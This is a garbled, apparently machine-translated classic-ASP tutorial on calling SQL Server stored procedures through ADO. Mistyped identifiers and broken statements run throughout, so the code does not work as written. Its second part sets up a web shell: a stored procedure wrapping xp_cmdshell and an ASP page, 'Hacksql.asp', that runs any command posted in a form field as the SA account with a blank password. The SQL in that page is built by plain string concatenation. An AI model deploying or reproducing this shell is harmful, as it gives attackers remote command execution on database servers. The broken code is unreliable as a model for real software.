1, call the stored procedure without parameters
<%
Set conn = server.createObject ("adoDb.connection")
SET cmd = server.createObject ("adodb.command")
StrConn = "DSN = PUBS; UID = SA; PWD"
Conn.open straconn
Set cmd.activeConnection = conn
cmd.commandtext = "{call nono}"
'set RS = cmc.exe or cmd.execute
SET RS = cmd.execute ()
%>
2, a stored procedure for an input parameter
<%
Set conn = server.createObject ("adoDb.connection")
SET cmd = server.createObject ("adodb.command")
StrConn = "DSN = PUBS; UID = SA; PWD"
Conn.open straconn
Set cmd.activeConnection = conn
cmd.commandtext = "{CALL OneInput (?)}"
cmd.parameters.Append Cmd.createParameter ("@ aaa", adINteger, adpaaminput)
CMD ("@ aaa") = 100
cmd.execute ()
%>
3, an input parameter and an output parameter
<%
Set conn = server.createObject ("adoDb.connection")
SET cmd = server.createObject ("adodb.command")
StrConn = "DSN = PUBS; UID = SA; PWD"
Conn.open straconn
Set cmd.activeConnection = conn
cmd.commandtext = "{CALL Oneinout (?,?)}"
cmd.parameters.Append Cmd.createParameter ("@ aaa", adINteger, adpaaminput)
CMD ("@ aaa") = 10
cmd.parameters.Append Cmd.createParameter ("@ BBB", Adinteger, Adparamoutput)
cmd.execute ()
BBB = cmd ("@ BBB")
%>
4, an input parameter, an output parameter, and a return value
<%
Set conn = server.createObject ("adoDb.connection")
SET cmd = server.createObject ("adodb.command")
StrConn = "DSN = PUBS; UID = SA; PWD"
Conn.open straconn
Set cmd.activeConnection = conn
cmd.commandtext = "{? = call onereturn (?,?)}" cmd.parameters.Append cmd.createParameter ("@ return_value", Adinteger, AdParamReturnValue)
cmd.parameters.Append Cmd.createParameter ("@ aaa", adINteger, adpaaminput)
CMD ("@ aaa") = 10
cmd.parameters.Append Cmd.createParameter ("@ BBB", Adinteger, Adparamoutput)
cmd.execute ()
BBB = cmd ("@ BBB")
RRR = CMD ("@ return_value")
%>
-------------------------------------------------- -------------
1. First build a stored procedure in the database you can access in SQL, such as: DDY
as follows:
Create Procedure DDY
@cmd varchar (50)
AS
Exec master..xp_cmdshell @cmd
2, the ASP program is as follows: (Hacksql.asp)
<%
CMD = Trim (Request.form ("cmd")))
IF cmd <> "" "
Work ()
Else
show ()
END IF
Function Work ()
Set conn = server.createObject ("adoDb.connection")
SET RS = Server.createObject ("AdoDb.Recordset")
Conn.open "XX", "SA", ""
SQL = "EXEC DDY '" & CMD & "'"
RS.Open SQL, CONN
IF not r.
Do While Not Rs.eof
Response.write "
" & HTMLENCODE2 (TRIM (RS (0))) & " pre>"rs.movenext
loop
Else
Response.write "no"
END IF
IF = 1 Then Rs.close
SET RS = Nothing
Conn.close
Set conn = Nothing
END FUNCTION
Function show ()
%>